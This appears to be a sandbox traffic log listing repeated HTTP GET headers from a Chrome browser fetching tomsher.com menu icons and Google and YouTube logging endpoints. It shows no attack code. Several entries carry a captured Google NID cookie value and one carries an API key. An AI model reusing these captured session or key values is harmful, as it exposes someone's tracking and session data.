Source: global traffic	HTTP traffic detected: GET /assets/images/menu/apple-logo.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/wordpress.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/woocommerce.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/Optimizely.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/terms-and-conditions.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/web_portal.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/header/srv.webp HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/zoho.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/g-d-ad.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/menu2.webp HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/blogger.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/meta.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/students.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/smo-seo.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/ssl.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/icon/menu-black.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/career.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/shared-hosting.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/web_3.0.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/squarespace.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/world-wide-web.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/stethoscope.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/smm.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/contact_us.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/android.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/amazon.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/brochure.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/faq.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/business-partner.webp HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/portfolio.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/travel.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/e-seo.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/employee.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/m-365.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/e_brochure.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/googlebusiness.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/seo.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/email.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/erp.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/apple-logo.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/cloud.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
